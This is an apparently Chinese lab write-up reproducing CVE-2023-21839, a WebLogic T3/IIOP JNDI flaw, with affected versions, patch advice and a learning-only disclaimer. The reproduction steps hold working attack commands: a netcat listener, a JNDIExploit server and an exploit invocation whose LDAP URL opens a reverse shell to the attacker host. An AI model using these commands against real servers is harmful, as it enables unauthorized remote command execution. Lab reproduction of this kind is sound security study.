文章目录
漏洞描述(介绍、成因)
由于Weblogic t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup查看,当远程对象继承自OpaqueReference时,lookup查看远程对象,服务端会调用远程对象getReferent方法。weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现,故可以通过rmi/ldap远程协议进行远程命令执行。
漏洞危害
允许远程用户在未经授权的情况下通过 IIOP/T3 进行 JNDI lookup 操作,当 JDK 版本过低或本地存在小工具(javaSerializedData)时,这可能会导致远程命令执行。
适用场景
Oracle WebLogic Server == 10.3.6
Oracle WebLogic Server == 12.1.3
(注:10.3.6及12.1.3 版本目前官方已停止维护)
Oracle WebLogic Server == 12.2.1.3.0
Oracle WebLogic Server == 12.2.1.4.0
Oracle WebLogic Server == 14.1.1.0.0
漏洞复现过程(有条件的自行搭建环境)
1、开启docker环境
访问页面,http://192.168.10.128:7001/console/login/LoginForm.jsp,成功启动weblogic
2、监听端口
在攻击机192.168.10.135上面监听端口
nc -lvvp 7777
3、监听中转文件
在攻击机192.168.10.135上面监听JNDIExploit-1.4-SNAPSHOT.jar
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.10.135
4、利用exe获取反弹shell
192.168.10.128为靶机ip,192.168.10.135为攻击机ip,7777为接收shell的端口
CVE-2023-21839.exe -ip 192.168.10.128 -port 7001 -ldap ldap://192.168.10.135:1389/Basic/ReverseShell/192.168.10.135/7777
中转文件成功转发
成功获得反弹shell
修复建议
目前Oracle已经发布了相关漏洞的补丁,受影响用户可及时修复。
链接:https://www.oracle.com/security-alerts/cpujan2023.html
缓解方式禁用 T3 及 IIOP
扩展知识(链接、文章)
参考链接:CVE-2023-21839漏洞本地简单复现_乌鸦安全的博客-CSDN博客
注:本文章仅作技术学习作用,一切实验皆在个人虚拟环境下进行!!!